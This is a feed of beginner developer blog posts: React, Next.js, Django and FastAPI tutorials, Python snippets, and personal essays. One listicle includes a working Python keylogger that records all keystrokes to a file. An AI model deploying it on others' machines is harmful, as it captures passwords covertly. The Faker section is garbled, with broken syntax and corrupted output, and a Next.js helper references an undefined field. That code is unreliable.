Forem: Arpit

Creating a Drag & Drop File Uploader in React (Next.js)

Arpit — Sun, 17 Nov 2024 13:13:27 +0000

While working on my side project, NotchTools.com, I needed a drag-and-drop file uploader for Image Tools. I'm using DaisyUI, a Tailwind-based component library, for styling throughout the project. However, DaisyUI does not provide a pre-built file upload component with drag-and-drop functionality. So, I decided to create my own sharable and reusable component that fits seamlessly with the Tailwind/DaisyUI design philosophy.

Key Features:

Drag & Drop Support: Allows users to upload files by dragging them into the upload area.
Customizable File Acceptance: You can specify the types of files allowed, whether to support single or multiple uploads.
Error Handling: Proper error messages are displayed for invalid file types or exceeding the file limit.

Component Props:

onFileSelect: A callback function that triggers when files are selected either by dragging or clicking to upload.
multiple: A boolean flag (optional, defaults to false) to allow multiple file uploads.
accept: A string (optional) specifying the accepted file types (e.g., image/*).
className: Optional custom classes for styling the main upload area.

Code Walkthrough:

1. State Management:

The component uses two key states:

dragActive: A boolean that tracks whether a drag event is active (i.e., when a user is dragging a file over the upload area).
error: Stores error messages related to invalid file types or if too many files are uploaded.

const [dragActive, setDragActive] = useState(false);
const [error, setError] = useState<string | null>(null);

2. Drag Events Handling:

For the drag-and-drop functionality, the component listens to the following drag events:

onDragEnter and onDragOver: To detect when the file is being dragged over the area.
onDragLeave: To reset the state when the file is dragged out of the area.
onDrop: To handle the actual file drop and trigger validation.

The handleDrag function toggles the dragActive state based on the event type to visually update the component.

const handleDrag = (e: React.DragEvent) => {
  e.preventDefault();
  e.stopPropagation();
  setDragActive(e.type === "dragenter" || e.type === "dragover");
};

3. File Drop Validation:

When files are dropped, the handleDrop function runs several validations:

Multiple File Check: If multiple is false, the component only allows one file to be uploaded at a time.
File Type Validation: Checks whether the dropped file(s) match the accepted file types using the accept prop.

const handleDrop = (e: React.DragEvent) => {
  e.preventDefault();
  e.stopPropagation();
  setDragActive(false);

  const files = e.dataTransfer.files;

  if (!files.length) return;

  if (!multiple && files.length > 1) {
    setError("Only one file is allowed");
    return;
  }

  const acceptedTypes = accept ? accept.split(",") : [];
  for (let i = 0; i < files.length; i++) {
    const file = files[i];

    const isValidFileType = acceptedTypes.some((type) => {
      const regex = new RegExp(type.replace("*", ".*"));
      return regex.test(file.type);
    });

    if (accept && !isValidFileType) {
      setError(`Invalid file type: ${file.name}`);
      return;
    }
  }

  setError(null);
  onFileSelect(files);
};

4. Fallback for File Input:

For users who prefer to upload files by clicking, a hidden file input field is provided. The triggerFileSelect function programmatically opens the file dialog when the upload area is clicked.

const triggerFileSelect = () => {
  inputRef.current?.click();
};

5. Tailwind & DaisyUI:

The drop area is styled using DaisyUI classes. The dragActive state changes the border color when a file is being dragged over the area.

<div
  onDragEnter={handleDrag}
  onDragOver={handleDrag}
  onDragLeave={handleDrag}
  onDrop={handleDrop}
  className={`${className} border-2 border-dashed p-6 rounded-lg text-center cursor-pointer transition-colors ${
    dragActive ? "border-primary" : "border-base-50 bg-base-200"
  }`}
  onClick={triggerFileSelect}
>
  <input
    ref={inputRef}
    type="file"
    className="hidden"
    multiple={multiple}
    accept={accept}
    onChange={handleChange}
  />
  <p className="text-base-content/50">
    {multiple
      ? "Drag & Drop files here or click to upload multiple files"
      : "Drag & Drop a file here or click to upload"}
  </p>
</div>

6. Error Messaging:

If there is an issue with the uploaded files (e.g., invalid type), an error message is displayed beneath the upload area.

{
  error && <p className="text-xs text-error mt-2">{error}</p>;
}

Full Component Code:

Here I'm using next.js for the project.

"use client";

import React, { useState, useRef } from "react";

interface FileUploadProps {
  onFileSelect: (files: FileList) => void;
  multiple?: boolean;
  accept?: string;
  className?: string;
}

const FileUpload: React.FC<FileUploadProps> = ({
  onFileSelect,
  multiple = false,
  accept,
  className,
}) => {
  const [dragActive, setDragActive] = useState(false);
  const inputRef = useRef<HTMLInputElement | null>(null);
  const [error, setError] = useState<string | null>(null);

  const handleDrag = (e: React.DragEvent) => {
    e.preventDefault();
    e.stopPropagation();
    setDragActive(e.type === "dragenter" || e.type === "dragover");
  };

  const handleDrop = (e: React.DragEvent) => {
    e.preventDefault();
    e.stopPropagation();
    setDragActive(false);

    const files = e.dataTransfer.files;

    // Check if any files are dropped
    if (!files.length) {
      return;
    }

    // If multiple is false and more than one file is dropped
    if (!multiple && files.length > 1) {
      setError("Only one file is allowed");
      return;
    }

    // Validate file types
    const acceptedTypes = accept ? accept.split(",") : [];
    for (let i = 0; i < files.length; i++) {
      const file = files[i];

      // Check if the file type matches the accept prop (using regex or exact match)
      const isValidFileType = acceptedTypes.some((type) => {
        const regex = new RegExp(type.replace("*", ".*")); // Convert 'image/*' to 'image/.*'
        return regex.test(file.type);
      });

      if (accept && !isValidFileType) {
        setError(`Invalid file type: ${file.name}`);
        return;
      }
    }

    // If everything is valid, reset error and call the onFileSelect function
    setError(null);
    onFileSelect(files);
  };

  const handleChange = (e: React.ChangeEvent<HTMLInputElement>) => {
    if (e.target.files) {
      onFileSelect(e.target.files);
    }
  };

  const triggerFileSelect = () => {
    inputRef.current?.click();
  };

  return (
    <>
      <div
        onDragEnter={handleDrag}
        onDragOver={handleDrag}
        onDragLeave={handleDrag}
        onDrop={handleDrop}
        className={`${className} border-2 border-dashed p-6 rounded-lg text-center cursor-pointer transition-colors ${
          dragActive ? "border-primary" : "border-base-50 bg-base-200"
        }`}
        onClick={triggerFileSelect}
      >
        <input
          ref={inputRef}
          type="file"
          className="hidden"
          multiple={multiple}
          accept={accept}
          onChange={handleChange}
        />
        <p className="text-base-content/50">
          {multiple
            ? "Drag & Drop files here or click to upload multiple files"
            : "Drag & Drop a file here or click to upload"}
        </p>

        {/* {accept && (
        <p className="text-xs text-gray-400 mt-2">
          Accepted file types: {accept}
        </p>
      )} */}
      </div>
      {error && <p className="text-xs text-error mt-2">{error}</p>}
    </>
  );
};

export default FileUpload;

Thank you :)

I’m a Developer, But Lately, I’m Just Stuck

Arpit — Sun, 08 Sep 2024 18:04:57 +0000

I’ve always been the type to share coding snippets and technical stuff here, but this is the first time I’m opening up about how I really feel. I’m not sure if this is the right place for it, but honestly, it feels like it’s time to share what’s been on my mind.

For almost two years now, I’ve been working remotely as a software developer at a small startup. The flexible hours are great, but the pay isn’t, which is probably normal for early-stage startups. Yet, what’s been bothering me more is the shift in my energy levels and focus.

Lately, I’ve become too lazy and stuck in a cycle of procrastination. I want to work on my side projects—dreams I had for so long—but when the weekend comes around, I end up scrolling through my phone or sleeping. I’ve started getting migraines on weekends too, which might be from the stress or exhaustion of the week. Sometimes, I work overtime (with no extra pay), and I wonder if that’s making me too drained to do anything else. But it’s not just the overwork. The truth is, even though I know about habits (thanks to Atomic Habits), I’m still not making the progress I want.

I should be able to dedicate at least 2 hours a day to my projects, right? But after my office work, I’m just too tired to open my laptop again. I have all these desires—projects I want to complete, content I want to create, and a vision to earn from my work. But here I am, doing nothing.

I love building products. In fact, during college, I earned good money from projects I built. Unfortunately, they eventually failed due to certain circumstances in my life. It’s a tough pill to swallow, seeing something you worked on crumble, but those experiences shaped me.

As an introvert, I also struggle with not feeling comfortable in my job. I do well enough—everyone at my company is happy with my work—and I’m proud of the good job I’m doing. But if I’m honest, I’m only doing this job because it pays the bills.

It’s frustrating because I tried building something of my own—through websites and content creation—but after graduation and job, everything was left abandoned. And now they sit there, untouched, while I’m stuck in this routine.

When will I get back in my zone?

Generate Metadata Dynamically for multiple Pages in Next.js (App Router)

Arpit — Sun, 14 Apr 2024 12:15:00 +0000

I was working on my side project and wanted to generate metadata dynamically for multiple static pages in Next.js. Here’s how I did it. I don’t know if this is the best way to do it, but it works for me. And this used DRY (Don’t Repeat Yourself) principle so it’s good.

I had a list of pages that I wanted to generate metadata for. I wanted to generate metadata for those pages dynamically. I didn’t want to repeat the same code for each page. Because in the future I might add more pages and I don’t want to repeat the same code again and again. So I created a function that takes the page name and returns the metadata for that page.

Here’s how I did it.

Code

// pageList.ts

export const pageList = [
  {
    title: "Page 1",
    description: "This is the page 1",
    slug: "page-1",
    image: "page-1.png",
  },
  {
    title: "Page 2",
    description: "This is the page 2",
    slug: "page-2",
    image: "page-2.png",
  },
  {
    title: "Page 3",
    description: "This is the page 3",
    slug: "page-3",
    image: "page-3.png",
  },
];

This is the list of pages that I want to generate metadata for. I have the title, description, slug, and image for each page.

// utils.ts

import { pageList } from "./pageList";

export const generateMetaData = (pageSlug: string) => {
  const page = pageList.find((page) => page.slug === pageSlug);
  if (!page) {
    return {
      title: "404",
      description: "Page not found",
      openGraph: {
        title: "404",
        description: "Page not found",
        url: "/404",
        images: [
          {
            url: "https://example.com/image.jpg",
          },
        ],
      },
    };
  }
  return {
    title: page.name,
    description: page.description,
    openGraph: {
      title: page.name,
      description: page.description,
      url: `/${page.slug}`,
      images: [
        {
          url: page.image || "https://example.com/image.jpg",
        },
      ],
    },
  };
};

This is the function that generates metadata for the page. It takes the page slug as an argument and returns the metadata for that page. If the page is not found in the list of pages, it returns the metadata for the 404 page.

Now I have the function that generates metadata for the page. I can use this function every page to generate metadata for that page.

// page-1/page.tsx

import { generateMetaData } from "./utils";
import type { Metadata } from "next";

export const metadata: Metadata = generateMetaData("page-1");

export default function Page() {
  return <div>your stuff here</div>;
}

This is how I generate metadata for the page. I import the generateMetaData function and call it with the page slug. I use the metadata object to set the metadata for the page.

Please let me know if there is a better way to do this. I would love to hear your thoughts. As I’m learning Next.js, I’m sure there are better ways to do this. But this works for me. I hope this helps you too. This all things just for the sake of SEO.

Text to ASCII Art Generator in Django (Mini project)

Arpit — Sat, 22 Oct 2022 04:08:20 +0000

Setup and Installation

Create a virtual environment. I'm using python3.10 for this project

python3.10 -m venv venv

Activate your environment

source venv/bin/activate

Install Django and pyfiglet

pip install django pyfiglet

Create Project

django-admin startproject core

Create App

python manage.py startapp textart

Code

INSTALLED_APPS = [
    "django.contrib.admin",
    "django.contrib.auth",
    "django.contrib.contenttypes",
    "django.contrib.sessions",
    "django.contrib.messages",
    "django.contrib.staticfiles",

    "textart", # your app
]

textart/views.py

from django.shortcuts import render
import pyfiglet

def text_to_ascii(request):

    # getting all fonts provided by pyfiglet
    fonts = pyfiglet.FigletFont.getFonts()

    # getting form data
    text = request.GET.get('text', '')
    font = request.GET.get('font', 'slant')


    result = pyfiglet.figlet_format(text, font=font)

    context = {
        'fonts': sorted(fonts),
        'result': result
    }

    return render(request, 'index.html', context)

textart/urls.py

from django.urls import path
from . import views

urlpatterns = [
    path('', views.text_to_ascii, name='text_to_ascii'),
]

core/urls.py

from django.contrib import admin
from django.urls import path, include

urlpatterns = [
    path("admin/", admin.site.urls),
    path("", include("textart.urls")), #this
]

templates/index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <!-- for dark theme hehe ez-->
    <meta name="color-scheme" content="dark"> 

    <title>Text to ASCII Art</title>

    <style>
        *{
            box-sizing: border-box;
        }

        h1, form, .text, small{
            display: flex;

            justify-content: center;
            align-items: center;
        }

        small{
            position: fixed;
            bottom: 0;
            left: 0;
            right: 0;
            padding: 0.5rem;
            background-color: #000;
            color: #fff;
        }

        form{
            gap: 5px;
        }

        input, select, button{
            padding: 10px;
            height: 40px;
        }
        button{
            width: 100px;
        }
    </style>
</head>
<body>
    <main>
        <h1>
            Text to ASCII Art
        </h1>
        <form>
            <input text="text" name="text" placeholder="Enter text" value="{{ request.GET.text }}">


            <select name="font">
                {% for font in fonts %}
                    <option value="{{ font }}" 
                    {% if font == request.GET.font %}
                        selected
                    {% endif %}
                    >
                        {{ font }}
                    </option>
                {% endfor %}
            </select>


            <button type="submit">Submit</button>
        </form>
        <div class="text"><pre>{{ result }}</pre></div>


        <small> Follow me on Instagram&nbsp;<a href="https://www.instagram.com/code_snail/">@code_snail</a></small>
    </main>
</body>
</html>

add templates path in settings.py

TEMPLATES = [
    {
        "BACKEND": "django.template.backends.django.DjangoTemplates",
        "DIRS": [ BASE_DIR / "templates" ], #this
        "APP_DIRS": True,
        "OPTIONS": {
            "context_processors": [
                "django.template.context_processors.debug",
                "django.template.context_processors.request",
                "django.contrib.auth.context_processors.auth",
                "django.contrib.messages.context_processors.messages",
            ],
        },
    },
]

Now runserver and open http://127.0.0.1:8000, yay

Happy Coding :)

Try this project: QR Generator in Django

ToDo App in FastAPI with Jinja2 Template

Arpit — Tue, 16 Aug 2022 05:23:00 +0000

Create Virtual Environment

virtualenv env

and activate it

source env/bin/activate

Installation

pip install fastapi "uvicorn[standard]" jinja2 python-multipart sqlalchemy

Now make main.py, database.py, and model.py in the same directory (in todoapp directory) and also make the templates and static directory, and its look like this,

main.py

# main.py

from fastapi import FastAPI, Request, Depends, Form, status
from fastapi.templating import Jinja2Templates
import models
from database import engine, sessionlocal
from sqlalchemy.orm import Session
from fastapi.responses import RedirectResponse
from fastapi.staticfiles import StaticFiles

models.Base.metadata.create_all(bind=engine)

templates = Jinja2Templates(directory="templates")

app = FastAPI()

app.mount("/static", StaticFiles(directory="static"), name="static")

def get_db():
    db = sessionlocal()
    try:
        yield db
    finally:
        db.close()

@app.get("/")
async def home(request: Request, db: Session = Depends(get_db)):
    todos = db.query(models.Todo).order_by(models.Todo.id.desc())
    return templates.TemplateResponse("index.html", {"request": request, "todos": todos})

@app.post("/add")
async def add(request: Request, task: str = Form(...), db: Session = Depends(get_db)):
    todo = models.Todo(task=task)
    db.add(todo)
    db.commit()
    return RedirectResponse(url=app.url_path_for("home"), status_code=status.HTTP_303_SEE_OTHER)

@app.get("/edit/{todo_id}")
async def add(request: Request, todo_id: int, db: Session = Depends(get_db)):
    todo = db.query(models.Todo).filter(models.Todo.id == todo_id).first()
    return templates.TemplateResponse("edit.html", {"request": request, "todo": todo})

@app.post("/edit/{todo_id}")
async def add(request: Request, todo_id: int, task: str = Form(...), completed: bool = Form(False), db: Session = Depends(get_db)):
    todo = db.query(models.Todo).filter(models.Todo.id == todo_id).first()
    todo.task = task
    todo.completed = completed
    db.commit()
    return RedirectResponse(url=app.url_path_for("home"), status_code=status.HTTP_303_SEE_OTHER)

@app.get("/delete/{todo_id}")
async def add(request: Request, todo_id: int, db: Session = Depends(get_db)):
    todo = db.query(models.Todo).filter(models.Todo.id == todo_id).first()
    db.delete(todo)
    db.commit()
    return RedirectResponse(url=app.url_path_for("home"), status_code=status.HTTP_303_SEE_OTHER)

database.py

# database.py

from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from sqlalchemy.ext.declarative import declarative_base

DB_URL = 'sqlite:///todo.sqlite3'

engine = create_engine(DB_URL, connect_args={'check_same_thread': False})
sessionlocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)
Base = declarative_base()

models.py

# models.py

from sqlalchemy import Column, Integer, Boolean, Text
from database import Base

class Todo(Base):
    __tablename__ = 'todos'
    id = Column(Integer, primary_key=True)
    task = Column(Text)
    completed = Column(Boolean, default=False)

    def __repr__(self):
        return '<Todo %r>' % (self.id)

Now let’s make templates inside the templates directory

templates/base.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ToDo App</title>
    <link rel="stylesheet" href="{{ url_for('static', path='css/main.css') }}">
</head>
<body>
    <main>
        <h1>ToDo App</h1>
        <br>
        {% block content %}

        {% endblock content %}
    </main>
</body>
</html>

templates/index.html

{% extends 'base.html' %}

{% block content %}

    <form action="/add" method="post">
        <textarea name="task" rows="5" placeholder="Enter your task"></textarea>
        <button type="submit">Add</button>
    </form>

    <br>
    <h2>Tasks</h2>

    <div>
        {% for todo in todos %}
            <div class="task">
                {% if todo.completed %}
                    <strike>{{ todo.task }}</strike>
                {% else %}
                    {{ todo.task }}
                {% endif %}
                <small>
                    <a href="edit/{{ todo.id }}">Edit</a>
                    <a href="delete/{{ todo.id }}">Delete</a>
                </small>
            </div>
        {% endfor %}
    </div>

{% endblock content %}

templates/edit.html

{% extends 'base.html' %}

{% block content %}
    <form action="/edit/{{todo.id}}" method="post">
        <textarea name="task" rows="5">{{todo.task}}</textarea>
        <label for="completed">Done?</label>
        <input type="checkbox" name="completed" {% if todo.completed %}checked{% endif %}>

        <button type="submit">Save</button>
    </form>
{% endblock content %}

static/css/main.css

*{
    padding: 0;
    margin: 0;
    box-sizing: border-box;
}

body{
    font-family: 'Roboto', sans-serif;
    background: #f5f5f5;
}

main{
    width: 100%;
    max-width: 520px;
    margin: 0 auto;
    padding: 0 20px;
}

textarea{
    width: 100%;
    height: 100px;
    border: 1px solid #ccc;
    border-radius: 5px;
    padding: 10px;
    resize: none;
}

button{
    width: 100%;
    height: 40px;
    border: 1px solid #ccc;
    border-radius: 5px;
    background-color: #eee;
    color: #333;
    font-size: 16px;
    cursor: pointer;
}

.task{
    display: flex;
    align-items: center;
    justify-content: space-between;
    padding: 8px 0;
    border-bottom: 1px solid #ccc;
}

.task:first-child{
    border-top: 1px solid #ccc;
}

output

To run the FastAPI app type the following command and hit enter

uvicorn main:app --reload

open link on browser (http://127.0.0.1:8000)

index page

edit page

Source code on GitHub: https://github.com/SoniArpit/simple-todoapp-fastapi

Join developer community to share feelings, thoughts, random stuff -> https://awwsome.dev/ (made in django)

Bye <3

Customizable Django Admin themes

Arpit — Tue, 21 Jun 2022 12:57:00 +0000

Create django project and then create super user to access django admin.

python manage.py createsuperuser

Now django-admin-interface package. django-admin-interface is a modern responsive flat admin interface customizable by the admin itself.

pip install django-admin-interface

After installation, add "admin_interface", "colorfield" in INSTALLED_APPS in settings.py

# settings.py

    INSTALLED_APPS = [

    "admin_interface", #this
    "colorfield", #this

    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',

    'qrcodeapp',

]

add this if in INSTALLED_APPS

 "flat_responsive", # only if django version < 2.0
 "flat", # only if django version < 1.9

Now migrate

python manage.py migrate

This package ships with optional themes as fixtures, they can be installed using the loaddata admin command. Optional themes are activated on installation.

DJANGO THEME (DEFAULT):

python manage.py loaddata admin_interface_theme_django.json

BOOTSTRAP THEME:

python manage.py loaddata admin_interface_theme_bootstrap.json

FOUNDATION THEME:

python manage.py loaddata admin_interface_theme_foundation.json

U.S. WEB DESIGN STANDARDS THEME:

python manage.py loaddata admin_interface_theme_uswds.json

Now run the server and hit http://127.0.0.1:8000/admin and now login yourself.

You can see themes get added

Package: django-admin-interface

Follow me for more <3

Happy Coding :)

You can support me and

Free Resources to learn Django

Arpit — Wed, 08 Jun 2022 15:23:00 +0000

Personally I followed this resources to learn Django

YouTube channels

👉 CodingEntrepreneurs
👉 Dennis Ivy
👉 CodeWithHarry
👉 Geeky Shows
👉 Code Keen
👉 Very Academy
👉 Code With Stein

Blogs/Website

👉 Official Django Doc
👉 LearnDjango
👉 Simple is Better Than Complex

Sometime I just search project on Django on YouTube and I follow them because project based learning works like a charm ✨

And yeah for any library (like django-allauth) doc is best resource to learn.

And our best friend StackOverflow is always there to help 😁

And if you know any other resources please share with me. I love to explore them too <3

Free learning resources: GitHub (you can contribute there)

Follow me for more :)
Twitter: @awwarpit

QR code generator in Django

Arpit — Sat, 28 May 2022 09:14:34 +0000

Creating virtual environment

python3.10 -m venv .

Activate environment

source bin/activate

Install Django, Pillow, and qrcode

pip install Django Pillow qrcode

Start Django project

django-admin startproject core .

Create App

python manage.py startapp qrcodeapp

Open the settings.py file and add the created app to the installed apps.

# settings.py

INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',

    'qrcodeapp', # add qrcodeapp app
]

Create a media directory to save all generated QR code images. This media directory should be created in the root directory.

Now in settings.py file specify your media directory like the following.

# settings.py

MEDIA_URL = '/media/'
MEDIA_ROOT = BASE_DIR / 'media'

Now open views.py of qrcodeapp to write the logic to generate a QR code and then we render it on the template.

# qrcodeapp/views.py

from django.shortcuts import render
from django.conf import settings
from qrcode import *
import time

def qr_gen(request):
    if request.method == 'POST':
        data = request.POST['data']
        img = make(data)
        img_name = 'qr' + str(time.time()) + '.png'
        img.save(settings.MEDIA_ROOT + '/' + img_name)
        return render(request, 'index.html', {'img_name': img_name})
    return render(request, 'index.html')

Create a templates directory in the root directory and specify the path in settings.py like the following.

# settings.py

TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [ BASE_DIR / 'templates' ], # this
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]

Open index.html and add following code

<!-- templates/index.html -->

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>QR code generator</title>

    <style>
        *{
            box-sizing: border-box;
            font-family: sans-serif;
        }
        main{
            width: 100%;
            max-width: 600px;
            margin: 0 auto;
        }

        input{
            width: 100%;
            padding: 10px;
            margin-bottom: 10px;
            border: 1px solid #ccc;
            border-radius: 4px;
        }

        button{
            width: 100%;
            max-width: 200px;
            padding: 10px;
            margin-bottom: 10px;
            border: 1px solid #ccc;
            border-radius: 4px;
            background-color: #eee;

        }

        button:hover{
            background-color: #ddd;
        }

        .qr-img{
            width: 100%;
            max-width: 300px;
            margin: 0 auto;
        }

        .qr-img img{
            width: 100%;
        }
    </style>
</head>
<body>
    <main>
        <h1>
            QR code generator
        </h1>
        <form method="post">
            {% csrf_token %}
            <input type="text" name="data" id="data" placeholder="write something or enter url">
            <button>Generate</button>
        </form>

        <div class="qr-img">
            {% if img_name %}
                <img src="/media/{{ img_name }}" alt="qr code">
            {% endif %}
        </div>
    </main>
</body>
</html>

Create new urls.py file in qrcodeapp directory and add following code

# qrcodeapp/urls.py

from django.urls import path
from . import views

urlpatterns = [
    path('', views.qr_gen, name='qr_gen'),
]

Now include this path on main project’s urls.py.

# core/urls.py

from django.contrib import admin
from django.urls import path, include
from django.conf import settings
from django.conf.urls.static import static

urlpatterns = [
    path('admin/', admin.site.urls),
    path('', include('qrcodeapp.urls')),
]

if settings.DEBUG:
    urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)

Now everythig is done, run the server using following command. You must on your environment ok.

python manage.py runserver

Now just open http://127.0.0.1:8000 on browser, enter something and generate your qr code.

Thank you :)

Source code: GitHub

Find me on Twitter: awwarpit

Fake data generator in Python

Arpit — Fri, 27 May 2022 04:09:27 +0000

Faker is a Python package that allows you to generate your own fake dataset.By using this package you can generate random data such as Name,Address,Email,City,Country etc. This package supports multiple locations and languages to generate data based on locality.

Faker is not a standard python library,so first you need to install it using following command:

pip install Faker

Following example is the simple demonstration of Faker to generate fake Name,Date of Birth, Address,country,email.

from faker import Faker
#Faker instance
fake=Faker()
print('Name:',fake.name())
print('Date of Birth:',fake.date_of_birth())
print('Address:',fake.address())
print('Country:',fake.country())
print('Email:',fake.email())

Output

Name:Stephen Palmer
Date of Birth:1984-02-24
Address:880 Jones Wells Suite 398
West Kimberlyfort,WI 86842
Country:Romania
Email:taylorelaine@gmail.com

Faker generates data by default in English US ('en_US)locale.Consider the following example to generate random names in default locale.

 from faker import Faker
 #Faker instance
 fake=Faker()
 print('First Name:',fake.first_name())
 print('Last Name:',fake.last_name())
 print('Name:',fake.name())

Output

 First Name:Jamie
 Last Name:Stephenson
 Name:Julie Davidson

To change the language we need to pass the specific locale to the Faker class.

 from faker import Faker
 #Faker instance in
 #English-India language
 fake Faker('en_In')
 print('First Name:',fake.first_name())
 print('Last Name :, fake.last_name())
 print('Name:',fake.name())
 print('--------------')
 #Faker instance in
 #Hindi-India language
 fake1 Faker('hi_In')
 print('First Name :, fake1.first_name())
 print('Last Name:',fake1.last_name())
 print('Name:',fake1.name())

Output

 First Name:Dhruv
 Last Name:Tripathi
 Name:Sara Dave
--------------
 First Name:राजीव
 Last Name:दूबे
 Name:अमर आहूजा

List of available locales that are supported by Faker library.

 from faker.config import AVAILABLE_LOCALES
 #get list of available locales
 List=[local for local in AVAILABLE_LOCALES]
 #print list
 print(List)

Output

['ar_AA','ar_EG','ar_JO','ar_PS','ar_SA','bg_BG','bs_BA','cs_CZ','de',
 de_AT','de_CH','de_DE','dk_DK','el CY','el_GR','en','en_AU','en_CA',
'en_GB','en_IE','en_IN','en NZ','en_PH','en_TH','en_US','es','es_CA',
'es_ES','es MX','et EE','fa IR','fi_FI','fil PH','fr_CA','fr_CH','fr_F
R','fr_QC','he_IL','hi_IN','hr_HR','hu_HU','hy_AM','id_ID','it_CH','₁
t_IT','ja_JP','ka_GE','ko_KR','la','1b_LU','lt_LT','1v_LV','mt_MT',
e_NP','n1_BE','nl_NL','no_NO','or_IN","pl_PL','pt_BR','pt_PT','ro_RO',
'ru_RU','sk_SK','sl_SI','sv_SE','ca_IN','th','th_TH','el_PH','tr_TR¹,
'tw_GH','uk_UA','zh_CN','zh_TW']

There are lot of methods in Faker,you can get the list of all available attributes and methods using dir()function.

 from faker import Faker
 #Faker instance
 fake=Faker()
 #print list
 print(dir(fake))

Output

 ['__class_','_delattr_',
 '_dir_','__doc____',
                      '_dict_',
                         'address','am_pm',...
 'android platform_token','ascii_company_email',
        'word','words','year','zip',
 'zipcode','zipcode_in_state','zipcode_plus4']

Follow me for more :) Happy Coding

As a developer, I love ... ?

Arpit — Sun, 22 May 2022 12:19:08 +0000

As a developer what you love?

The ultimate python codes / mini-projects

Arpit — Fri, 20 May 2022 12:49:48 +0000

1. Get Laptop Battery Percentage using Python

# python script showing battery details
import psutil

# function returning time in hh:mm:ss
def convertTime(seconds):
    minutes, seconds = divmod(seconds, 60)
    hours, minutes = divmod(minutes, 60)
    return "%d:%02d:%02d" % (hours, minutes, seconds)

# returns a tuple
battery = psutil.sensors_battery()

print("Battery percentage : ", battery.percent)
print("Power plugged in : ", battery.power_plugged)

# converting seconds to hh:mm:ss
print("Battery left : ", convertTime(battery.secsleft))

Requirements

pip install psutil

Install psutil in Linux

sudo apt-get install gcc python3-dev

sudo pip3 install psutil

2. Get the system info with Python

import platform
print(f"Node: {platform.node()}")
print(f"Plateform: {platform.platform()}")
print(f"System: {platform.system()}")
print(f"Processor: {platform.processor()}")
print(f"Architecture: {platform.architecture()}")
print(f"Version: {platform.version()}")
print(f"Release: {platform.release()}")

3. Take a Screenshot using Python

import pyscreenshot as ImageGrab
import datetime
import time
time.sleep(3)  # tell me why I used delay here...
im = ImageGrab.grab()
im.save("screenshot-" + str(datetime.datetime.now()) + ".png")
im.show()

Requirement

pip install pyscreenshot

4. Keylogger using Python

from pynput.keyboard import Key, Controller,Listener
keyboard = Controller()
keys=[]
def on_press(key):
    global keys
    string = str(key).replace("'","")
    keys.append(string)
    main_string = "".join(keys)
    print(main_string)

    with open('keys.txt', 'a') as f:
        f.write(main_string)   
        keys= []     

def on_release(key):
    if key == Key.esc:
        return False
with Listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()

Requirement

pip install pynput

5. Text to ASCII art

# import pyfiglet module
import pyfiglet

result = pyfiglet.figlet_format("Arpit is sexy")
print(result)

Requirement

pip install pyfiglet

6. Convert any image to ASCII art

import pywhatkit as kit
kit.image_to_ascii_art("heart.png")

Requirement

pip install pywhatkit

7. Convert Color Photo to Black

from PIL import Image
img = Image.open("color-to-bw/rdj.jpg")
contobw = img.convert("L")
contobw.save("color-to-bw/rdj-bw.jpg")
contobw.show()

Requirement

pip install Pillow

8. Get Phone Number Information

import phonenumbers
from phonenumbers import carrier, geocoder, timezone
mobileNo = input("Enter Mobile Number with Country code: ")
mobileNo = phonenumbers.parse(mobileNo)
# get timezone a phone number
print(timezone.time_zones_for_number(mobileNo))
# Getting carrier of a phone number
print(carrier.name_for_number(mobileNo, "en"))
# Getting region information
print(geocoder.description_for_number(mobileNo, "en"))
# Validating a phone number
print(phonenumbers.is_valid_number(mobileNo))
# Checking possibility of a number
print(phonenumbers.is_possible_number(mobileNo))

Requirement

pip install phonenumbers

9. Random Wikipedia Article Generator

import requests
from bs4 import BeautifulSoup
import webbrowser

while True:
    url = requests.get("https://en.wikipedia.org/wiki/Special:Random")
    soup = BeautifulSoup(url.content, "html.parser")
    title = soup.find(class_="firstHeading").text

    print(f"{title} \nDo you want to view it? (Y/N)")
    ans = input("").lower()

    if ans == "y":
        url = "https://en.wikipedia.org/wiki/%s" % title
        webbrowser.open(url)
        break
    elif ans == "n":
        print("Try again!")
        continue
    else:
        print("Wrong choice!")
        break

Requirements

pip install beautifulsoup4
pip install requests

10. Spelling Checker

from textblob import TextBlob 

a = "comuter progrming is gret"
print("original text: "+str(a)) 

b = TextBlob(a) 
print("corrected text: "+str(b.correct()))

Requirement

pip install textblob

Happy Coding :)

Follow me on Twitter @sudoarpit

Aaron Swartz: the guy who helped to make the internet world a better place

Arpit — Sun, 15 May 2022 12:43:11 +0000

The guy who made RSS, CC (creative commons license), web.py framework, and yes also co-founder of Reddit and he died at 26

He was very talented from a very young age. He was doing algebra and number stuff at his 4-5 really. and at 6 he saw the computer for the first time.

And he knows the power of programming and at age 10-11 he was able to code like a pro. at age 12 he made theinfo.org. the site where people can contribute anything yes like Wikipedia and this site was invented before Wikipedia by 12 yo boy

He always criticizes the school because he thinks why I’m learning those things which are not important to me and if it is then I’ll read the book and gain the info.

At 14, Mr. Swartz helped create RSS, he was also involved in the Markdown publishing format and the organization Creative Commons.

He also made the Infogami a tool for quickly building customizable, visually interesting, wiki-enabled websites. later it gets merged with Reddit

